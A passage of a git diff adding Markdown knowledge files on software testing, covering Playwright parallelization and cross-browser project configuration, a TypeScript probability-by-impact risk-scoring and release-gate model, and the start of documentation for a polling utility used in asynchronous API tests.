+**Context**: When tests run slowly in CI, configure parallelization with worker count, sharding, and fully parallel execution to maximize speed while maintaining stability.
+
+**Implementation**:
+
+```typescript
+// playwright.config.ts - Parallelization settings
+import { defineConfig } from '@playwright/test';
+import os from 'os';
+
+export default defineConfig({
+  // Run tests in parallel within single file
+  fullyParallel: true,
+
+  // Worker configuration
+  workers: process.env.CI
+    ? 1 // Serial in CI for stability (or 2 for faster CI)
+    : os.cpus().length - 1, // Parallel locally (leave 1 CPU for OS)
+
+  // Prevent accidentally committed .only() from blocking CI
+  forbidOnly: !!process.env.CI,
+
+  // Retry failed tests in CI
+  retries: process.env.CI ? 2 : 0,
+
+  // Shard configuration (split tests across multiple machines)
+  shard:
+    process.env.SHARD_INDEX && process.env.SHARD_TOTAL
+      ? {
+          current: parseInt(process.env.SHARD_INDEX, 10),
+          total: parseInt(process.env.SHARD_TOTAL, 10),
+        }
+      : undefined,
+});
+```
+
+```yaml
+# .github/workflows/e2e-parallel.yml - Sharded CI execution
+name: E2E Tests (Parallel)
+on: [push, pull_request]
+
+jobs:
+  test:
+    runs-on: ubuntu-latest
+    strategy:
+      fail-fast: false
+      matrix:
+        shard: [1, 2, 3, 4] # Split tests across 4 machines
+    steps:
+      - uses: actions/checkout@v4
+      - uses: actions/setup-node@v4
+        with:
+          node-version-file: '.nvmrc'
+
+      - name: Install dependencies
+        run: npm ci
+
+      - name: Install Playwright browsers
+        run: npx playwright install --with-deps
+
+      - name: Run tests (shard ${{ matrix.shard }})
+        run: npm run test
+        env:
+          SHARD_INDEX: ${{ matrix.shard }}
+          SHARD_TOTAL: 4
+          TEST_ENV: staging
+
+      - name: Upload test results
+        if: failure()
+        uses: actions/upload-artifact@v4
+        with:
+          name: test-results-shard-${{ matrix.shard }}
+          path: test-results/
+```
+
+```typescript
+// playwright/config/serial.config.ts - Serial execution for flaky tests
+import { defineConfig } from '@playwright/test';
+import { baseConfig } from './base.config';
+
+export default defineConfig({
+  ...baseConfig,
+
+  // Disable parallel execution
+  fullyParallel: false,
+  workers: 1,
+
+  // Used for: authentication flows, database-dependent tests, feature flag tests
+});
+```
+
+```typescript
+// Usage: Force serial execution for specific tests
+import { test } from '@playwright/test';
+
+// Serial execution for auth tests (shared session state)
+test.describe.configure({ mode: 'serial' });
+
+test.describe('Authentication Flow', () => {
+  test('user can log in', async ({ page }) => {
+    // First test in serial block
+  });
+
+  test('user can access dashboard', async ({ page }) => {
+    // Depends on previous test (serial)
+  });
+});
+```
+
+```typescript
+// Usage: Parallel execution for independent tests (default)
+import { test } from '@playwright/test';
+
+test.describe('Product Catalog', () => {
+  test('can view product 1', async ({ page }) => {
+    // Runs in parallel with other tests
+  });
+
+  test('can view product 2', async ({ page }) => {
+    // Runs in parallel with other tests
+  });
+});
+```
+
+**Key Points**:
+
+- `fullyParallel: true` enables parallel execution within single test file
+- Workers: 1 in CI (stability), N-1 CPUs locally (speed)
+- Sharding splits tests across multiple CI machines (4x faster with 4 shards)
+- `test.describe.configure({ mode: 'serial' })` for dependent tests
+- `forbidOnly: true` in CI prevents `.only()` from blocking pipeline
+- Matrix strategy in CI runs shards concurrently
+
+### Example 5: Project Configuration
+
+**Context**: When testing across multiple browsers, devices, or configurations, use Playwright projects to run the same tests against different environments (chromium, firefox, webkit, mobile).
+
+**Implementation**:
+
+```typescript
+// playwright.config.ts - Multiple browser projects
+import { defineConfig, devices } from '@playwright/test';
+
+export default defineConfig({
+  projects: [
+    // Desktop browsers
+    {
+      name: 'chromium',
+      use: { ...devices['Desktop Chrome'] },
+    },
+    {
+      name: 'firefox',
+      use: { ...devices['Desktop Firefox'] },
+    },
+    {
+      name: 'webkit',
+      use: { ...devices['Desktop Safari'] },
+    },
+
+    // Mobile browsers
+    {
+      name: 'mobile-chrome',
+      use: { ...devices['Pixel 5'] },
+    },
+    {
+      name: 'mobile-safari',
+      use: { ...devices['iPhone 13'] },
+    },
+
+    // Tablet
+    {
+      name: 'tablet',
+      use: { ...devices['iPad Pro'] },
+    },
+  ],
+});
+```
+
+```typescript
+// playwright.config.ts - Authenticated vs. unauthenticated projects
+import { defineConfig } from '@playwright/test';
+import path from 'path';
+
+export default defineConfig({
+  projects: [
+    // Setup project (runs first, creates auth state)
+    {
+      name: 'setup',
+      testMatch: /global-setup\.ts/,
+    },
+
+    // Authenticated tests (reuse auth state)
+    {
+      name: 'authenticated',
+      dependencies: ['setup'],
+      use: {
+        storageState: path.resolve(__dirname, './playwright/.auth/user.json'),
+      },
+      testMatch: /.*authenticated\.spec\.ts/,
+    },
+
+    // Unauthenticated tests (public pages)
+    {
+      name: 'unauthenticated',
+      testMatch: /.*unauthenticated\.spec\.ts/,
+    },
+  ],
+});
+```
+
+```typescript
+// playwright/support/global-setup.ts - Setup project for auth
+import { chromium, FullConfig } from '@playwright/test';
+import path from 'path';
+
+async function globalSetup(config: FullConfig) {
+  const browser = await chromium.launch();
+  const page = await browser.newPage();
+
+  // Perform authentication
+  await page.goto('http://localhost:3000/login');
+  await page.fill('[data-testid="email"]', 'test@example.com');
+  await page.fill('[data-testid="password"]', 'password123');
+  await page.click('[data-testid="login-button"]');
+
+  // Wait for authentication to complete
+  await page.waitForURL('**/dashboard');
+
+  // Save authentication state
+  await page.context().storageState({
+    path: path.resolve(__dirname, '../.auth/user.json'),
+  });
+
+  await browser.close();
+}
+
+export default globalSetup;
+```
+
+```bash
+# Run specific project
+npx playwright test --project=chromium
+npx playwright test --project=mobile-chrome
+npx playwright test --project=authenticated
+
+# Run multiple projects
+npx playwright test --project=chromium --project=firefox
+
+# Run all projects (default)
+npx playwright test
+```
+
+```typescript
+// Usage: Project-specific test
+import { test, expect } from '@playwright/test';
+
+test('mobile navigation works', async ({ page, isMobile }) => {
+  await page.goto('/');
+
+  if (isMobile) {
+    // Open mobile menu
+    await page.click('[data-testid="hamburger-menu"]');
+  }
+
+  await page.click('[data-testid="products-link"]');
+  await expect(page).toHaveURL(/.*products/);
+});
+```
+
+```yaml
+# .github/workflows/e2e-cross-browser.yml - CI cross-browser testing
+name: E2E Tests (Cross-Browser)
+on: [push, pull_request]
+
+jobs:
+  test:
+    runs-on: ubuntu-latest
+    strategy:
+      fail-fast: false
+      matrix:
+        project: [chromium, firefox, webkit, mobile-chrome]
+    steps:
+      - uses: actions/checkout@v4
+      - uses: actions/setup-node@v4
+      - run: npm ci
+      - run: npx playwright install --with-deps
+
+      - name: Run tests (${{ matrix.project }})
+        run: npx playwright test --project=${{ matrix.project }}
+```
+
+**Key Points**:
+
+- Projects enable testing across browsers, devices, and configurations
+- `devices` from `@playwright/test` provide preset configurations (Pixel 5, iPhone 13, etc.)
+- `dependencies` ensures setup project runs first (auth, data seeding)
+- `storageState` shares authentication across tests (0 seconds auth per test)
+- `testMatch` filters which tests run in which project
+- CI matrix strategy runs projects in parallel (4x faster with 4 projects)
+- `isMobile` context property for conditional logic in tests
+
+## Integration Points
+
+- **Used in workflows**: `*framework` (config setup), `*ci` (parallelization, artifact upload)
+- **Related fragments**:
+  - `fixture-architecture.md` - Fixture-based timeout overrides
+  - `ci-burn-in.md` - CI pipeline artifact upload
+  - `test-quality.md` - Timeout standards (no hard waits)
+  - `data-factories.md` - Per-test isolation (no shared global state)
+
+## Configuration Checklist
+
+**Before deploying tests, verify**:
+
+- [ ] Environment config map with fail-fast validation
+- [ ] Standardized timeouts (action 15s, navigation 30s, expect 10s, test 60s)
+- [ ] Artifact storage at `test-results/` and `playwright-report/`
+- [ ] HTML + JUnit reporters configured
+- [ ] `.env.example`, `.nvmrc`, browser versions committed
+- [ ] Parallelization configured (workers, sharding)
+- [ ] Projects defined for cross-browser/device testing (if needed)
+- [ ] CI uploads artifacts on failure with 30-day retention
+
+_Source: Playwright book repo, enterprise configuration example, Murat testing philosophy (lines 216-271)._
diff --git a/plugins/bmad/skills/bmad-testarch-test-design/resources/knowledge/probability-impact.md b/plugins/bmad/skills/bmad-testarch-test-design/resources/knowledge/probability-impact.md
new file mode 100644
index 0000000..f287934
--- /dev/null
+++ b/plugins/bmad/skills/bmad-testarch-test-design/resources/knowledge/probability-impact.md
@@ -0,0 +1,601 @@
+# Probability and Impact Scale
+
+## Principle
+
+Risk scoring uses a **probability × impact** matrix (1-9 scale) to prioritize testing efforts. Higher scores (6-9) demand immediate action; lower scores (1-3) require documentation only. This systematic approach ensures testing resources focus on the highest-value risks.
+
+## Rationale
+
+**The Problem**: Without quantifiable risk assessment, teams over-test low-value scenarios while missing critical risks. Gut feeling leads to inconsistent prioritization and missed edge cases.
+
+**The Solution**: Standardize risk evaluation with a 3×3 matrix (probability: 1-3, impact: 1-3). Multiply to derive risk score (1-9). Automate classification (DOCUMENT, MONITOR, MITIGATE, BLOCK) based on thresholds. This approach surfaces hidden risks early and justifies testing decisions to stakeholders.
+
+**Why This Matters**:
+
+- Consistent risk language across product, engineering, and QA
+- Objective prioritization of test scenarios (not politics)
+- Automatic gate decisions (score=9 → FAIL until resolved)
+- Audit trail for compliance and retrospectives
+
+## Pattern Examples
+
+### Example 1: Probability-Impact Matrix Implementation (Automated Classification)
+
+**Context**: Implement a reusable risk scoring system with automatic threshold classification
+
+**Implementation**:
+
+```typescript
+// src/testing/risk-matrix.ts
+
+/**
+ * Probability levels:
+ * 1 = Unlikely (standard implementation, low uncertainty)
+ * 2 = Possible (edge cases or partial unknowns)
+ * 3 = Likely (known issues, new integrations, high ambiguity)
+ */
+export type Probability = 1 | 2 | 3;
+
+/**
+ * Impact levels:
+ * 1 = Minor (cosmetic issues or easy workarounds)
+ * 2 = Degraded (partial feature loss or manual workaround)
+ * 3 = Critical (blockers, data/security/regulatory exposure)
+ */
+export type Impact = 1 | 2 | 3;
+
+/**
+ * Risk score (probability × impact): 1-9
+ */
+export type RiskScore = 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9;
+
+/**
+ * Action categories based on risk score thresholds
+ */
+export type RiskAction = 'DOCUMENT' | 'MONITOR' | 'MITIGATE' | 'BLOCK';
+
+export type RiskAssessment = {
+  probability: Probability;
+  impact: Impact;
+  score: RiskScore;
+  action: RiskAction;
+  reasoning: string;
+};
+
+/**
+ * Calculate risk score: probability × impact
+ */
+export function calculateRiskScore(probability: Probability, impact: Impact): RiskScore {
+  return (probability * impact) as RiskScore;
+}
+
+/**
+ * Classify risk action based on score thresholds:
+ * - 1-3: DOCUMENT (awareness only)
+ * - 4-5: MONITOR (watch closely, plan mitigations)
+ * - 6-8: MITIGATE (CONCERNS at gate until mitigated)
+ * - 9: BLOCK (automatic FAIL until resolved or waived)
+ */
+export function classifyRiskAction(score: RiskScore): RiskAction {
+  if (score >= 9) return 'BLOCK';
+  if (score >= 6) return 'MITIGATE';
+  if (score >= 4) return 'MONITOR';
+  return 'DOCUMENT';
+}
+
+/**
+ * Full risk assessment with automatic classification
+ */
+export function assessRisk(params: { probability: Probability; impact: Impact; reasoning: string }): RiskAssessment {
+  const { probability, impact, reasoning } = params;
+
+  const score = calculateRiskScore(probability, impact);
+  const action = classifyRiskAction(score);
+
+  return { probability, impact, score, action, reasoning };
+}
+
+/**
+ * Generate risk matrix visualization (3x3 grid)
+ * Returns markdown table with color-coded scores
+ */
+export function generateRiskMatrix(): string {
+  const matrix: string[][] = [];
+  const header = ['Impact \\ Probability', 'Unlikely (1)', 'Possible (2)', 'Likely (3)'];
+  matrix.push(header);
+
+  const impactLabels = ['Critical (3)', 'Degraded (2)', 'Minor (1)'];
+  for (let impact = 3; impact >= 1; impact--) {
+    const row = [impactLabels[3 - impact]];
+    for (let probability = 1; probability <= 3; probability++) {
+      const score = calculateRiskScore(probability as Probability, impact as Impact);
+      const action = classifyRiskAction(score);
+      const emoji = action === 'BLOCK' ? '🔴' : action === 'MITIGATE' ? '🟠' : action === 'MONITOR' ? '🟡' : '🟢';
+      row.push(`${emoji} ${score}`);
+    }
+    matrix.push(row);
+  }
+
+  return matrix.map((row) => `| ${row.join(' | ')} |`).join('\n');
+}
+```
+
+**Key Points**:
+
+- Type-safe probability/impact (1-3 enforced at compile time)
+- Automatic action classification (DOCUMENT, MONITOR, MITIGATE, BLOCK)
+- Visual matrix generation for documentation
+- Risk score formula: `probability * impact` (max = 9)
+- Threshold-based decision rules (6-8 = MITIGATE, 9 = BLOCK)
+
+---
+
+### Example 2: Risk Assessment Workflow (Test Planning Integration)
+
+**Context**: Apply risk matrix during test design to prioritize scenarios
+
+**Implementation**:
+
+```typescript
+// tests/e2e/test-planning/risk-assessment.ts
+import { assessRisk, generateRiskMatrix, type RiskAssessment } from '../../../src/testing/risk-matrix';
+
+export type TestScenario = {
+  id: string;
+  title: string;
+  feature: string;
+  risk: RiskAssessment;
+  testLevel: 'E2E' | 'API' | 'Unit';
+  priority: 'P0' | 'P1' | 'P2' | 'P3';
+  owner: string;
+};
+
+/**
+ * Assess test scenarios and auto-assign priority based on risk score
+ */
+export function assessTestScenarios(scenarios: Omit<TestScenario, 'risk' | 'priority'>[]): TestScenario[] {
+  return scenarios.map((scenario) => {
+    // Auto-assign priority based on risk score
+    const priority = mapRiskToPriority(scenario.risk.score);
+    return { ...scenario, priority };
+  });
+}
+
+/**
+ * Map risk score to test priority (P0-P3)
+ * P0: Critical (score 9) - blocks release
+ * P1: High (score 6-8) - must fix before release
+ * P2: Medium (score 4-5) - fix if time permits
+ * P3: Low (score 1-3) - document and defer
+ */
+function mapRiskToPriority(score: number): 'P0' | 'P1' | 'P2' | 'P3' {
+  if (score === 9) return 'P0';
+  if (score >= 6) return 'P1';
+  if (score >= 4) return 'P2';
+  return 'P3';
+}
+
+/**
+ * Example: Payment flow risk assessment
+ */
+export const paymentScenarios: Array<Omit<TestScenario, 'priority'>> = [
+  {
+    id: 'PAY-001',
+    title: 'Valid credit card payment completes successfully',
+    feature: 'Checkout',
+    risk: assessRisk({
+      probability: 2, // Possible (standard Stripe integration)
+      impact: 3, // Critical (revenue loss if broken)
+      reasoning: 'Core revenue flow, but Stripe is well-tested',
+    }),
+    testLevel: 'E2E',
+    owner: 'qa-team',
+  },
+  {
+    id: 'PAY-002',
+    title: 'Expired credit card shows user-friendly error',
+    feature: 'Checkout',
+    risk: assessRisk({
+      probability: 3, // Likely (edge case handling often buggy)
+      impact: 2, // Degraded (users see error, but can retry)
+      reasoning: 'Error handling logic is custom and complex',
+    }),
+    testLevel: 'E2E',
+    owner: 'qa-team',
+  },
+  {
+    id: 'PAY-003',
+    title: 'Payment confirmation email formatting is correct',
+    feature: 'Email',
+    risk: assessRisk({
+      probability: 2, // Possible (template changes occasionally break)
+      impact: 1, // Minor (cosmetic issue, email still sent)
+      reasoning: 'Non-blocking, users get email regardless',
+    }),
+    testLevel: 'Unit',
+    owner: 'dev-team',
+  },
+  {
+    id: 'PAY-004',
+    title: 'Payment fails gracefully when Stripe is down',
+    feature: 'Checkout',
+    risk: assessRisk({
+      probability: 1, // Unlikely (Stripe has 99.99% uptime)
+      impact: 3, // Critical (complete checkout failure)
+      reasoning: 'Rare but catastrophic, requires retry mechanism',
+    }),
+    testLevel: 'API',
+    owner: 'qa-team',
+  },
+];
+
+/**
+ * Generate risk assessment report with priority distribution
+ */
+export function generateRiskReport(scenarios: TestScenario[]): string {
+  const priorityCounts = scenarios.reduce(
+    (acc, s) => {
+      acc[s.priority] = (acc[s.priority] || 0) + 1;
+      return acc;
+    },
+    {} as Record<string, number>,
+  );
+
+  const actionCounts = scenarios.reduce(
+    (acc, s) => {
+      acc[s.risk.action] = (acc[s.risk.action] || 0) + 1;
+      return acc;
+    },
+    {} as Record<string, number>,
+  );
+
+  return `
+# Risk Assessment Report
+
+## Risk Matrix
+${generateRiskMatrix()}
+
+## Priority Distribution
+- **P0 (Blocker)**: ${priorityCounts.P0 || 0} scenarios
+- **P1 (High)**: ${priorityCounts.P1 || 0} scenarios
+- **P2 (Medium)**: ${priorityCounts.P2 || 0} scenarios
+- **P3 (Low)**: ${priorityCounts.P3 || 0} scenarios
+
+## Action Required
+- **BLOCK**: ${actionCounts.BLOCK || 0} scenarios (auto-fail gate)
+- **MITIGATE**: ${actionCounts.MITIGATE || 0} scenarios (concerns at gate)
+- **MONITOR**: ${actionCounts.MONITOR || 0} scenarios (watch closely)
+- **DOCUMENT**: ${actionCounts.DOCUMENT || 0} scenarios (awareness only)
+
+## Scenarios by Risk Score (Highest First)
+${scenarios
+  .sort((a, b) => b.risk.score - a.risk.score)
+  .map((s) => `- **[${s.priority}]** ${s.id}: ${s.title} (Score: ${s.risk.score} - ${s.risk.action})`)
+  .join('\n')}
+`.trim();
+}
+```
+
+**Key Points**:
+
+- Risk score → Priority mapping (P0-P3 automated)
+- Report generation with priority/action distribution
+- Scenarios sorted by risk score (highest first)
+- Visual matrix included in reports
+- Reusable across projects (extract to shared library)
+
+---
+
+### Example 3: Dynamic Risk Re-Assessment (Continuous Evaluation)
+
+**Context**: Recalculate risk scores as project evolves (requirements change, mitigations implemented)
+
+**Implementation**:
+
+```typescript
+// src/testing/risk-tracking.ts
+import { type RiskAssessment, assessRisk, type Probability, type Impact } from './risk-matrix';
+
+export type RiskHistory = {
+  timestamp: Date;
+  assessment: RiskAssessment;
+  changedBy: string;
+  reason: string;
+};
+
+export type TrackedRisk = {
+  id: string;
+  title: string;
+  feature: string;
+  currentRisk: RiskAssessment;
+  history: RiskHistory[];
+  mitigations: string[];
+  status: 'OPEN' | 'MITIGATED' | 'WAIVED' | 'RESOLVED';
+};
+
+export class RiskTracker {
+  private risks: Map<string, TrackedRisk> = new Map();
+
+  /**
+   * Add new risk to tracker
+   */
+  addRisk(params: {
+    id: string;
+    title: string;
+    feature: string;
+    probability: Probability;
+    impact: Impact;
+    reasoning: string;
+    changedBy: string;
+  }): TrackedRisk {
+    const { id, title, feature, probability, impact, reasoning, changedBy } = params;
+
+    const assessment = assessRisk({ probability, impact, reasoning });
+
+    const risk: TrackedRisk = {
+      id,
+      title,
+      feature,
+      currentRisk: assessment,
+      history: [
+        {
+          timestamp: new Date(),
+          assessment,
+          changedBy,
+          reason: 'Initial assessment',
+        },
+      ],
+      mitigations: [],
+      status: 'OPEN',
+    };
+
+    this.risks.set(id, risk);
+    return risk;
+  }
+
+  /**
+   * Reassess risk (probability or impact changed)
+   */
+  reassessRisk(params: {
+    id: string;
+    probability?: Probability;
+    impact?: Impact;
+    reasoning: string;
+    changedBy: string;
+  }): TrackedRisk | null {
+    const { id, probability, impact, reasoning, changedBy } = params;
+    const risk = this.risks.get(id);
+    if (!risk) return null;
+
+    // Use existing values if not provided
+    const newProbability = probability ?? risk.currentRisk.probability;
+    const newImpact = impact ?? risk.currentRisk.impact;
+
+    const newAssessment = assessRisk({
+      probability: newProbability,
+      impact: newImpact,
+      reasoning,
+    });
+
+    risk.currentRisk = newAssessment;
+    risk.history.push({
+      timestamp: new Date(),
+      assessment: newAssessment,
+      changedBy,
+      reason: reasoning,
+    });
+
+    this.risks.set(id, risk);
+    return risk;
+  }
+
+  /**
+   * Mark risk as mitigated (probability reduced)
+   */
+  mitigateRisk(params: { id: string; newProbability: Probability; mitigation: string; changedBy: string }): TrackedRisk | null {
+    const { id, newProbability, mitigation, changedBy } = params;
+    const risk = this.reassessRisk({
+      id,
+      probability: newProbability,
+      reasoning: `Mitigation implemented: ${mitigation}`,
+      changedBy,
+    });
+
+    if (risk) {
+      risk.mitigations.push(mitigation);
+      if (risk.currentRisk.action === 'DOCUMENT' || risk.currentRisk.action === 'MONITOR') {
+        risk.status = 'MITIGATED';
+      }
+    }
+
+    return risk;
+  }
+
+  /**
+   * Get risks requiring action (MITIGATE or BLOCK)
+   */
+  getRisksRequiringAction(): TrackedRisk[] {
+    return Array.from(this.risks.values()).filter(
+      (r) => r.status === 'OPEN' && (r.currentRisk.action === 'MITIGATE' || r.currentRisk.action === 'BLOCK'),
+    );
+  }
+
+  /**
+   * Generate risk trend report (show changes over time)
+   */
+  generateTrendReport(riskId: string): string | null {
+    const risk = this.risks.get(riskId);
+    if (!risk) return null;
+
+    return `
+# Risk Trend Report: ${risk.id}
+
+**Title**: ${risk.title}
+**Feature**: ${risk.feature}
+**Status**: ${risk.status}
+
+## Current Assessment
+- **Probability**: ${risk.currentRisk.probability}
+- **Impact**: ${risk.currentRisk.impact}
+- **Score**: ${risk.currentRisk.score}
+- **Action**: ${risk.currentRisk.action}
+- **Reasoning**: ${risk.currentRisk.reasoning}
+
+## Mitigations Applied
+${risk.mitigations.length > 0 ? risk.mitigations.map((m) => `- ${m}`).join('\n') : '- None'}
+
+## History (${risk.history.length} changes)
+${risk.history
+  .reverse()
+  .map((h) => `- **${h.timestamp.toISOString()}** by ${h.changedBy}: Score ${h.assessment.score} (${h.assessment.action}) - ${h.reason}`)
+  .join('\n')}
+`.trim();
+  }
+}
+```
+
+**Key Points**:
+
+- Historical tracking (audit trail for risk changes)
+- Mitigation impact tracking (probability reduction)
+- Status lifecycle (OPEN → MITIGATED → RESOLVED)
+- Trend reports (show risk evolution over time)
+- Re-assessment triggers (requirements change, new info)
+
+---
+
+### Example 4: Risk Matrix in Gate Decision (Integration with Trace Workflow)
+
+**Context**: Use probability-impact scores to drive gate decisions (PASS/CONCERNS/FAIL/WAIVED)
+
+**Implementation**:
+
+```typescript
+// src/testing/gate-decision.ts
+import { type RiskScore, classifyRiskAction, type RiskAction } from './risk-matrix';
+import { type TrackedRisk } from './risk-tracking';
+
+export type GateDecision = 'PASS' | 'CONCERNS' | 'FAIL' | 'WAIVED';
+
+export type GateResult = {
+  decision: GateDecision;
+  blockers: TrackedRisk[]; // Score=9, action=BLOCK
+  concerns: TrackedRisk[]; // Score 6-8, action=MITIGATE
+  monitored: TrackedRisk[]; // Score 4-5, action=MONITOR
+  documented: TrackedRisk[]; // Score 1-3, action=DOCUMENT
+  summary: string;
+};
+
+/**
+ * Evaluate gate based on risk assessments
+ */
+export function evaluateGateFromRisks(risks: TrackedRisk[]): GateResult {
+  const blockers = risks.filter((r) => r.currentRisk.action === 'BLOCK' && r.status === 'OPEN');
+  const concerns = risks.filter((r) => r.currentRisk.action === 'MITIGATE' && r.status === 'OPEN');
+  const monitored = risks.filter((r) => r.currentRisk.action === 'MONITOR');
+  const documented = risks.filter((r) => r.currentRisk.action === 'DOCUMENT');
+
+  let decision: GateDecision;
+
+  if (blockers.length > 0) {
+    decision = 'FAIL';
+  } else if (concerns.length > 0) {
+    decision = 'CONCERNS';
+  } else {
+    decision = 'PASS';
+  }
+
+  const summary = generateGateSummary({ decision, blockers, concerns, monitored, documented });
+
+  return { decision, blockers, concerns, monitored, documented, summary };
+}
+
+/**
+ * Generate gate decision summary
+ */
+function generateGateSummary(result: Omit<GateResult, 'summary'>): string {
+  const { decision, blockers, concerns, monitored, documented } = result;
+
+  const lines: string[] = [`## Gate Decision: ${decision}`];
+
+  if (decision === 'FAIL') {
+    lines.push(`\n**Blockers** (${blockers.length}): Automatic FAIL until resolved or waived`);
+    blockers.forEach((r) => {
+      lines.push(`- **${r.id}**: ${r.title} (Score: ${r.currentRisk.score})`);
+      lines.push(`  - Probability: ${r.currentRisk.probability}, Impact: ${r.currentRisk.impact}`);
+      lines.push(`  - Reasoning: ${r.currentRisk.reasoning}`);
+    });
+  }
+
+  if (concerns.length > 0) {
+    lines.push(`\n**Concerns** (${concerns.length}): Address before release`);
+    concerns.forEach((r) => {
+      lines.push(`- **${r.id}**: ${r.title} (Score: ${r.currentRisk.score})`);
+      lines.push(`  - Mitigations: ${r.mitigations.join(', ') || 'None'}`);
+    });
+  }
+
+  if (monitored.length > 0) {
+    lines.push(`\n**Monitored** (${monitored.length}): Watch closely`);
+    monitored.forEach((r) => lines.push(`- **${r.id}**: ${r.title} (Score: ${r.currentRisk.score})`));
+  }
+
+  if (documented.length > 0) {
+    lines.push(`\n**Documented** (${documented.length}): Awareness only`);
+  }
+
+  lines.push(`\n---\n`);
+  lines.push(`**Next Steps**:`);
+  if (decision === 'FAIL') {
+    lines.push(`- Resolve blockers or request formal waiver`);
+  } else if (decision === 'CONCERNS') {
+    lines.push(`- Implement mitigations for high-risk scenarios (score 6-8)`);
+    lines.push(`- Re-run gate after mitigations`);
+  } else {
+    lines.push(`- Proceed with release`);
+  }
+
+  return lines.join('\n');
+}
+```
+
+**Key Points**:
+
+- Gate decision driven by risk scores (not gut feeling)
+- Automatic FAIL for score=9 (blockers)
+- CONCERNS for score 6-8 (requires mitigation)
+- PASS only when no blockers/concerns
+- Actionable summary with next steps
+- Integration with trace workflow (Phase 2)
+
+---
+
+## Probability-Impact Threshold Summary
+
+| Score | Action   | Gate Impact          | Typical Use Case                       |
+| ----- | -------- | -------------------- | -------------------------------------- |
+| 1-3   | DOCUMENT | None                 | Cosmetic issues, low-priority bugs     |
+| 4-5   | MONITOR  | None (watch closely) | Edge cases, partial unknowns           |
+| 6-8   | MITIGATE | CONCERNS at gate     | High-impact scenarios needing coverage |
+| 9     | BLOCK    | Automatic FAIL       | Critical blockers, must resolve        |
+
+## Risk Assessment Checklist
+
+Before deploying risk matrix:
+
+- [ ] **Probability scale defined**: 1 (unlikely), 2 (possible), 3 (likely) with clear examples
+- [ ] **Impact scale defined**: 1 (minor), 2 (degraded), 3 (critical) with concrete criteria
+- [ ] **Threshold rules documented**: Score → Action mapping (1-3 = DOCUMENT, 4-5 = MONITOR, 6-8 = MITIGATE, 9 = BLOCK)
+- [ ] **Gate integration**: Risk scores drive gate decisions (PASS/CONCERNS/FAIL/WAIVED)
+- [ ] **Re-assessment process**: Risks re-evaluated as project evolves (requirements change, mitigations applied)
+- [ ] **Audit trail**: Historical tracking for risk changes (who, when, why)
+- [ ] **Mitigation tracking**: Link mitigations to probability reduction (quantify impact)
+- [ ] **Reporting**: Risk matrix visualization, trend reports, gate summaries
+
+## Integration Points
+
+- **Used in workflows**: `*test-design` (initial risk assessment), `*trace` (gate decision Phase 2), `*nfr-assess` (security/performance risks)
+- **Related fragments**: `risk-governance.md` (risk scoring matrix, gate decision engine), `test-priorities-matrix.md` (P0-P3 mapping), `nfr-criteria.md` (impact assessment for NFRs)
+- **Tools**: TypeScript for type safety, markdown for reports, version control for audit trail
+
+_Source: Murat risk model summary, gate decision patterns from production systems, probability-impact matrix from risk governance practices_
diff --git a/plugins/bmad/skills/bmad-testarch-test-design/resources/knowledge/recurse.md b/plugins/bmad/skills/bmad-testarch-test-design/resources/knowledge/recurse.md
new file mode 100644
index 0000000..b2b1322
--- /dev/null
+++ b/plugins/bmad/skills/bmad-testarch-test-design/resources/knowledge/recurse.md
@@ -0,0 +1,421 @@
+# Recurse (Polling) Utility
+
+## Principle
+
+Use Cypress-style polling with Playwright's `expect.poll` to wait for asynchronous conditions. Provides configurable timeout, interval, logging, and post-polling callbacks with enhanced error categorization. **Ideal for backend testing**: polling API endpoints for job completion, database eventual consistency, message queue processing, and cache propagation.
+
+## Rationale
+
+Testing async operations (background jobs, eventual consistency, webhook processing) requires polling:
+
+- Vanilla `expect.poll` is verbose
+- No built-in logging for debugging
+- Generic timeout errors
+- No post-poll hooks
+
+The `recurse` utility provides:
+
+- **Clean syntax**: Inspired by cypress-recurse
+- **Enhanced errors**: Timeout vs command failure vs predicate errors
+- **Built-in logging**: Track polling progress
+- **Post-poll callbacks**: Process results after success
+- **Type-safe**: Full TypeScript generic support
+
+## Quick Start
+
+```typescript
+import { test } from '@seontechnologies/playwright-utils/recurse/fixtures';
+
+test('wait for job completion', async ({ recurse, apiRequest }) => {
+  const { body } = await apiRequest({
+    method: 'POST',
+    path: '/api/jobs',
+    body: { type: 'export' },
+  });
+
+  // Poll until job completes
+  const result = await recurse(
+    () => apiRequest({ method: 'GET', path: `/api/jobs/${body.id}` }),
+    (response) => response.body.status === 'completed',
+    { timeout: 60000 },
+  );
+
+  expect(result.body.downloadUrl).toBeDefined();
+});
+```
+
+## Pattern Examples
+
+### Example 1: Basic Polling
+
+**Context**: Wait for async operation to complete with custom timeout and interval.
+
+**Implementation**:
+
+```typescript
+import { test } from '@seontechnologies/playwright-utils/recurse/fixtures';
+
+test('should wait for job completion', async ({ recurse, apiRequest }) => {
+  // Start job
+  const { body } = await apiRequest({
+    method: 'POST',
+    path: '/api/jobs',
+    body: { type: 'export' },
+  });
+
+  // Poll until ready
+  const result = await recurse(
+    () => apiRequest({ method: 'GET', path: `/api/jobs/${body.id}` }),
+    (response) => response.body.status === 'completed',
+    {
+      timeout: 60000, // 60 seconds max
+      interval: 2000, // Check every 2 seconds
+      log: 'Waiting for export job to complete',
+    },
+  );
+
+  expect(result.body.downloadUrl).toBeDefined();
+});
+```
+
+**Key Points**:
+
+- First arg: command function (what to execute)
+- Second arg: predicate function (when to stop)
+- Options: timeout, interval, log message
+- Returns the value when predicate returns true
+
+### Example 2: Working with Assertions
+
+**Context**: Use assertions directly in predicate for more expressive tests.
+
+**Implementation**:
+
+```typescript
+test('should poll with assertions', async ({ recurse, apiRequest }) => {
+  await apiRequest({
+    method: 'POST',
+    path: '/api/events',
+    body: { type: 'user-created', userId: '123' },
+  });
+
+  // Poll with assertions in predicate - no return true needed!
+  await recurse(
+    async () => {
+      const { body } = await apiRequest({ method: 'GET', path: '/api/events/123' });
+      return body;
+    },
+    (event) => {
+      // If all assertions pass, predicate succeeds
+      expect(event.processed).toBe(true);
+      expect(event.timestamp).toBeDefined();
+      // No need to return true - just let assertions pass
+    },
+    { timeout: 30000 },
+  );
+});
+```
+
+**Why no `return true` needed?**
+
+The predicate checks for "truthiness" of the return value. But there's a catch - in JavaScript, an empty `return` (or no return) returns `undefined`, which is falsy!
+
+The utility handles this by checking if:
+
+1. The predicate didn't throw (assertions passed)
+2. The return value was either `undefined` (implicit return) or truthy
+
+So you can:
+
+```typescript
+// Option 1: Use assertions only (recommended)
+(event) => {
+  expect(event.processed).toBe(true);
+};
+
+// Option 2: Return boolean (also works)
